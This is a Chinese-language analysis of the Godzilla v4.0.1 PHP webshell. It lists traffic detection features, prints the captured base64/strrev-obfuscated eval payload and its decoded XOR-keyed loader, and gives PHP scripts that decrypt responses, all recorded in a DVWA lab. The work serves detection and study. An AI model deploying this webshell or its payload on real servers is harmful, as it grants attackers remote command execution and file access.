深度解析webshell管理工具—哥斯拉
深度解析webshell管理工具—哥斯拉

深度解析webshell管理工具—哥斯拉

抓包工具:Burpsuite
webshell管理工具:哥斯拉4.0.1[Godzilla_v_4.0.1]

本篇只分析phpwebshell后续可能会对其他几种类型的webshell进一步分析

内容:
1.phpwebshell流量包特征
2.phpwebshell流量包解密eval源码
3.Godzilla控制方式
4.Godzilla响应包加密数据解密

总结:

Godzilla_v_4.0.1流量特征

phpwebshell流量特征:

1.eval
2.第一个包的后一个参数超级长,用于第一次传输代码,将代码存储进session中
3.以下特征为弱特征,哥斯拉的几个http头是默认的,不过可以通过修改配置文件修改
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-type: application/x-www-form-urlencoded

4.cookie以 ; 结尾,这是一个错误的格式,可能是开发时忽略变成了哥斯拉流量包的一个特征

Godzilla控制方式

第一次上传指令存储在session中,后续执行操作只需传递函数名和参数,将session中的代码取出解密并运行,这样就减少了后续操作的流量,不过增加了CPU占用。

Godzilla控制方式及流量特征分析

生成php webshell

将webshell上传后添加管理,这里提供bp抓包分析流量所以添加了本地代理

点击测试连接,看到哥斯拉会发送两个请求包,第一个请求包特别长

第一个请求包

POST /dvwa/hackable/uploads/Godzilla_shell.php HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Host: 10.10.10.1
Content-type: application/x-www-form-urlencoded
Content-Length: 53768
Connection: close

shell=eval%28base64_decode%28strrev%28urldecode%28%27K0QfK0QfgACIgoQD9BCIgACIgACIK0wOpkXZrRCLhRXYkRCKlR2bj5WZ90VZtFmTkF2bslXYwRyWO9USTNVRT9FJgACIgACIgACIgACIK0wepU2csFmZ90TIpIybm5WSzNWazFmQ0V2ZiwSY0FGZkgycvBnc0NHKgYWagACIgACIgAiCNsXZzxWZ9BCIgAiCNsTK2EDLpkXZrRiLzNXYwRCK1QWboIHdzJWdzByboNWZgACIgACIgAiCNsTKpkXZrRCLpEGdhRGJo4WdyBEKlR2bj5WZoUGZvNmbl9FN2U2chJGIvh2YlBCIgACIgACIK0wOpYTMsADLpkXZrRiLzNXYwRCK1QWboIHdzJWdzByboNWZgACIgACIgAiCNsTKkF2bslXYwRCKsFmdllQCK0QfgACIgACIgAiCNsTK5V2akwCZh9Gb5FGckgSZk92YuVWPkF2bslXYwRCIgACIgACIgACIgAiCNsXKlNHbhZWP90TKi8mZul0cjl2chJEdldmIsQWYvxWehBHJoM3bwJHdzhCImlGIgACIgACIgoQD7kSeltGJs0VZtFmTkF2bslXYwRyWO9USTNVRT9FJoUGZvNmbl1DZh9Gb5FGckACIgACIgACIK0wepkSXl1WYORWYvxWehBHJb50TJN1UFN1XkgCdlN3cphCImlGIgACIK0wOpkXZrRCLp01czFGcksFVT9EUfRCKlR2bjVGZfRjNlNXYihSZk92YuVWPhRXYkRCIgACIK0wepkSXzNXYwRyWUN1TQ9FJoQXZzNXaoAiZppQD7cSY0IjM1EzY5EGOiBTZ2M2Mn0TeltGJK0wOnQWYvxWehB3J9UWbh5EZh9Gb5FGckoQD7cSelt2J9M3chBHJK0QfK0wOERCIuJXd0VmcgACIgoQD9BCIgAiCNszYk4VXpRyWERCI9ASXpRyWERCIgACIgACIgoQD70VNxYSMrkGJbtEJg0DIjRCIgACIgACIgoQD7BSKrsSaksTKERCKuVGbyR3c8kGJ7ATPpRCKy9mZgACIgoQD7lySkwCRkgSZk92YuVGIu9Wa0Nmb1ZmCNsTKwgyZulGdy9GclJ3Xy9mcyVGQK0wOpADK0lWbpx2Xl1Wa09FdlNHQK0wOpgCdyFGdz9lbvl2czV2cApQD%27%29%29%29%29%3B&key=超级长

对内容第一次url解码后

eval(base64_decode(strrev(urldecode('K0QfK0QfgACIgoQD9BCIgACIgACIK0wOpkXZrRCLhRXYkRCKlR2bj5WZ90VZtFmTkF2bslXYwRyWO9USTNVRT9FJgACIgACIgACIgACIK0wepU2csFmZ90TIpIybm5WSzNWazFmQ0V2ZiwSY0FGZkgycvBnc0NHKgYWagACIgACIgAiCNsXZzxWZ9BCIgAiCNsTK2EDLpkXZrRiLzNXYwRCK1QWboIHdzJWdzByboNWZgACIgACIgAiCNsTKpkXZrRCLpEGdhRGJo4WdyBEKlR2bj5WZoUGZvNmbl9FN2U2chJGIvh2YlBCIgACIgACIK0wOpYTMsADLpkXZrRiLzNXYwRCK1QWboIHdzJWdzByboNWZgACIgACIgAiCNsTKkF2bslXYwRCKsFmdllQCK0QfgACIgACIgAiCNsTK5V2akwCZh9Gb5FGckgSZk92YuVWPkF2bslXYwRCIgACIgACIgACIgAiCNsXKlNHbhZWP90TKi8mZul0cjl2chJEdldmIsQWYvxWehBHJoM3bwJHdzhCImlGIgACIgACIgoQD7kSeltGJs0VZtFmTkF2bslXYwRyWO9USTNVRT9FJoUGZvNmbl1DZh9Gb5FGckACIgACIgACIK0wepkSXl1WYORWYvxWehBHJb50TJN1UFN1XkgCdlN3cphCImlGIgACIK0wOpkXZrRCLp01czFGcksFVT9EUfRCKlR2bjVGZfRjNlNXYihSZk92YuVWPhRXYkRCIgACIK0wepkSXzNXYwRyWUN1TQ9FJoQXZzNXaoAiZppQD7cSY0IjM1EzY5EGOiBTZ2M2Mn0TeltGJK0wOnQWYvxWehB3J9UWbh5EZh9Gb5FGckoQD7cSelt2J9M3chBHJK0QfK0wOERCIuJXd0VmcgACIgoQD9BCIgAiCNszYk4VXpRyWERCI9ASXpRyWERCIgACIgACIgoQD70VNxYSMrkGJbtEJg0DIjRCIgACIgACIgoQD7BSKrsSaksTKERCKuVGbyR3c8kGJ7ATPpRCKy9mZgACIgoQD7lySkwCRkgSZk92YuVGIu9Wa0Nmb1ZmCNsTKwgyZulGdy9GclJ3Xy9mcyVGQK0wOpADK0lWbpx2Xl1Wa09FdlNHQK0wOpgCdyFGdz9lbvl2czV2cApQD'))));

下面是代码的逐行解释:

  1. urldecode:这个函数将一个经过 URL 编码的字符串解码回原始字符串。URL 编码通常用于在 URL 中安全地传输数据。
  2. strrev:这个函数将字符串中的字符顺序颠倒。
  3. base64_decode:这个函数将一个使用 MIME base64 编码的字符串解码为原始字符串。Base64 编码常用于将二进制数据编码为 ASCII 字符集的文本。
  4. eval:这是一个危险的函数,因为它执行了传入的字符串作为 PHP 代码。这可能导致严重的安全问题,尤其是当执行的代码来自不可信的源时。

用在线php工具对编码内容解码

<?php print(base64_decode(strrev(urldecode('编码内容'))))?>

第二次解码加密内容

<?php
// 开始会话
@session_start();

// 设置 PHP 脚本的最大执行时间为无限,这可能导致资源消耗过多的问题
@set_time_limit(0);

// 关闭错误报告,隐藏可能的错误信息,这不利于调试且可能隐藏安全问题
@error_reporting(0);

// 定义一个解密函数,使用异或操作进行解密,由于是异或所以这既是加密函数也是解密函数[密码学知识:域]
function encode($D, $K) {
    for ($i = 0; $i < strlen($D); $i++) {
        // 使用密钥数组和当前位置进行异或操作
        $c = $K[$i + 1 & 15]; // 循环使用密钥的某个部分
        $D[$i] = $D[$i] ^ $c;   // 异或操作
    }
    return $D; // 返回加密后的数据
}

// 定义密码和有效载荷名称
$pass = 'key';
$payloadName = 'payload';
$key = '3c6e0b8a9c15224a'; // 定义加密密钥 [这个加密密钥是,生成木马时密钥的MD5值的前16位,这里生成木马时定义的密钥是key其MD5值前16位是'3c6e0b8a9c15224a']

// 检查是否接收到了 POST 请求中的密码字段
if (isset($_POST[$pass])) { //相当于isset($_POST['key'])
    // 使用 POST 中的密码字段[执行的代码]和密钥进行解密操作
    $data = encode(base64_decode($_POST[$pass]), $key);

    // 检查会话中是否存在payload
    if (isset($_SESSION[$payloadName])) {
        // 获取会话中存储的有效载荷并使用密钥进行解密
        $payload = encode($_SESSION[$payloadName], $key);

        // 检查有效载荷中是否包含特定字符串
        if (strpos($payload, "getBasicsInfo") === false) {
            $payload = encode($payload, $key); // 如果不包含,再次加密
        }

        // 执行有效载荷内容作为 PHP 代码
        eval($payload);

        // 输出密码和密钥 md5 散列的前 16 位
        echo substr(md5($pass . $key), 0, 16);

        // 执行 run 函数并加密结果,然后输出加密结果的 base64 编码
        echo base64_encode(encode(@run($data), $key));

        // 输出密码和密钥 md5 散列的后 16 位
        echo substr(md5($pass . $key), 16);
    } else {
        // 如果会话中没有存储有效载荷,检查 POST 数据中是否包含特定字符串
        if (strpos($data, "getBasicsInfo") !== false) {
            // 如果包含,将 POST 数据加密后存储在会话中
            $_SESSION[$payloadName] = encode($data, $key);
        }
    }
}
?>

根据上述代码可以知道,第一次发送的请求中会把代码放在pass参数中传递所以请求包中的参数才会特别长,所以我么根据他的解码逻辑就解出第一次传入的代码

<?php
	function encode($D, $K) {
		for ($i = 0; $i < strlen($D); $i++) {
			// 使用密钥数组和当前位置进行异或操作
			$c = $K[$i + 1 & 15]; // 循环使用密钥的某个部分
			$D[$i] = $D[$i] ^ $c;   // 异或操作
		}
		return $D; // 返回加密后的数据
	}
	$data = '超级长的代码';
	$key = '3c6e0b8a9c15224a';
	$code = encode(base64_decode(urldecode($data)), $key);
 	print($code);
?>

源码如下感兴趣可以自己分析:

根据GPT解释了解到该代码执行了什么操作:
这段代码是一个PHP脚本,它定义了多个函数,用于执行各种操作,包括但不限于文件操作、数据库操作、错误处理、会话管理、加密解密、系统命令执行等。以下是对代码中每个函数的简要注释和总结:

  1. run($pms): 这是主要的执行函数,它处理会话、参数格式化、错误和异常处理、代码执行等。
  2. payloadExceptionHandler($exception): 捕获并处理异常。
  3. payloadErrorHandler($errno, $errstr, ...): 捕获并处理错误。
  4. S1MiwYYr($D, $K): 一个简单的加密/解密函数,对数据进行位运算。
  5. reDefSystemFunc(): 重新定义系统函数,如果它们不存在的话。
  6. getSession(): 获取会话数据。
  7. bypass_open_basedir(): 绕过PHP的open_basedir限制。
  8. formatParameter($pms): 格式化输入参数。
  9. evalFunc(): 评估并执行给定的函数或代码。
  10. deleteDir($p): 删除目录及其内容。
  11. deleteFile(): 删除文件。
  12. setFileAttr(): 设置文件属性,如权限和时间。
  13. fileRemoteDown(): 从远程URL下载文件。
  14. copyFile(): 复制文件。
  15. moveFile(): 移动文件。
  16. getBasicsInfo(): 获取服务器的基本信息。
  17. getFile(): 获取目录中的文件列表。
  18. readFileContent(): 读取文件内容。
  19. uploadFile(): 上传文件到服务器。
  20. newDir(): 创建新目录。
  21. newFile(): 创建新文件。
  22. function_existsEx($functionName): 检查函数是否存在且未被禁用。
  23. execCommand(): 执行系统命令。
  24. execSql(): 执行SQL语句,支持多种数据库。
  25. base64Encode($data): 对数据进行Base64编码。
  26. test(): 一个简单的测试函数,返回”ok”。
  27. get($key): 从参数数组中获取值。
  28. getAllParameters(): 获取所有参数。
  29. includeCode(): 包含并执行代码。
  30. base64Decode($string): 对字符串进行Base64解码。
  31. convertFilePermissions($fileAttr): 转换文件权限字符串为数值。
  32. g_close(): 关闭会话。
  33. bigFileDownload(): 支持大文件下载。
  34. bigFileUpload(): 支持大文件上传。
  35. canCallGzipEncode(): 检查是否可以调用gzencode函数。
  36. canCallGzipDecode(): 检查是否可以调用gzdecode函数。
  37. bytesToInteger($bytes, $position): 将字节转换为整数。
  38. isGzipStream($bin): 检查是否为Gzip流。
  39. getBytes($string): 将字符串转换为字节数组。

总结:这段代码提供了一个复杂的脚本环境,允许执行多种服务器端操作,包括文件管理、网络操作、代码执行、会话管理等。它还包含了错误和异常处理机制,以及对大文件处理的支持。代码中使用了一些安全措施,如加密和绕过某些限制,但整体上存在安全风险,尤其是evalFunc()函数,它可以执行任意代码,这可能导致严重的安全漏洞。此外,代码中使用了大量的PHP禁用函数(如@操作符),这通常用于抑制错误信息,但在生产环境中不推荐使用,因为它会隐藏潜在的错误。

第一个响应包设置SESSIONID

再第一个请求包将代码存储再session后,会返回一个sessionid为后续控制访问session中的代码作为唯一标识,而后续控制中都会带有这个sessionid

第二个请求包用于测试连接

Burpsuite抓包看到确实在cookie中携带了一个sessionid,不过这有个错误的地方就是cookie字段以 ; 结尾,这也成为了Godzilla的phpwebshell流量特征之一,而另外的一个弱特征就是下面黄框框出的几个固定的http请求头

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-type: application/x-www-form-urlenco

解密key参数,解密函数与上述解密eval代码的函数相同


}

第三个请求包用于获取系统基本信息

Burpsuite抓包

解密key

返回的基本信息

下面通过尝试解密相应包内容来查看原始的数据

根据解密出来的代码中如下部分

  // 检查会话中是否存在payload
    if (isset($_SESSION[$payloadName])) {
        // 获取会话中存储的有效载荷并使用密钥进行解密
        $payload = encode($_SESSION[$payloadName], $key);

        // 检查有效载荷中是否包含特定字符串
        if (strpos($payload, "getBasicsInfo") === false) {
            $payload = encode($payload, $key); // 如果不包含,再次加密
        }

        // 执行有效载荷内容作为 PHP 代码
        eval($payload);

        // 输出密码和密钥 md5 散列的前 16 位
        echo substr(md5($pass . $key), 0, 16);

        // 将代码交给 run 函数执行并对运行结果encode异或加密,然后对加密结果base64编码
        echo base64_encode(encode(@run($data), $key));t

        // 输出密码和密钥 md5 散列的后 16 位
        echo substr(md5($pass . $key), 16);
 }

可以反推出相应包解密过程
1.除响应中前后各16位MD5的中间部分
2.base64解码
3.encode异或解密

<?php
	function encode($D, $K) {
		for ($i = 0; $i < strlen($D); $i++) {
			// 使用密钥数组和当前位置进行异或操作
			$c = $K[$i + 1 & 15]; // 循环使用密钥的某个部分
			$D[$i] = $D[$i] ^ $c;   // 异或操作
		}
		return $D; // 返回加密后的数据
	}
	$data = '上述响应包中的数据';
	$key = '3c6e0b8a9c15224a'; // 密钥的MD5前16位,可以通过解密上述请求包中的shell部分获取,而且同一个webshell中的密钥是固定不变的
	$quQianHouMD5=substr(substr($data,0,strlen($data)-16),16); // 去掉前MD5值
	// print($quQianHouMD5);
	$code = encode(base64_decode($quQianHouMD5), $key);
 	print($code);
?>

不过解密出来后出现了乱码

但是代码逻辑确实没有问题,通过排查发现是run函数(可以下载上面完整源码查看)返回的值是经过压缩的

$parameters=array();
$_SES=array();
function run($pms){
    ..............
    $result=@evalFunc();
    if ($result==null||$result===false){
        $result=$ERRMSG;
    }

    if ($_SES!==null){
        session_start();
        $_SESSION[$sessioId]=base64_encode(S1MiwYYr(serialize($_SES),$sessioId));
        @session_write_close();
    }
    if (canCallGzipEncode()){
        $result=gzencode($result,6);
    }

    return $result;
}

所以还要加上解压缩的逻辑
最终的响应内容解密代码如下

<?php
	function encode($D, $K) {
		for ($i = 0; $i < strlen($D); $i++) {
			// 使用密钥数组和当前位置进行异或操作
			$c = $K[$i + 1 & 15]; // 循环使用密钥的某个部分
			$D[$i] = $D[$i] ^ $c;   // 异或操作
		}
		return $D; // 返回加密后的数据
	}
	$data = '响应包内容';
	$key = '3c6e0b8a9c15224a'; 
	$quQianHouMD5=substr(substr($data,0,strlen($data)-16),16); // 去掉前MD5值
	// print($quQianHouMD5);
	// $de64_data=base64_decode($quQianHouMD5);
	// print($de64_data);
	$code = encode(base64_decode($quQianHouMD5), $key);
	$result=gzdecode($code);
 	print($result);
?>

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注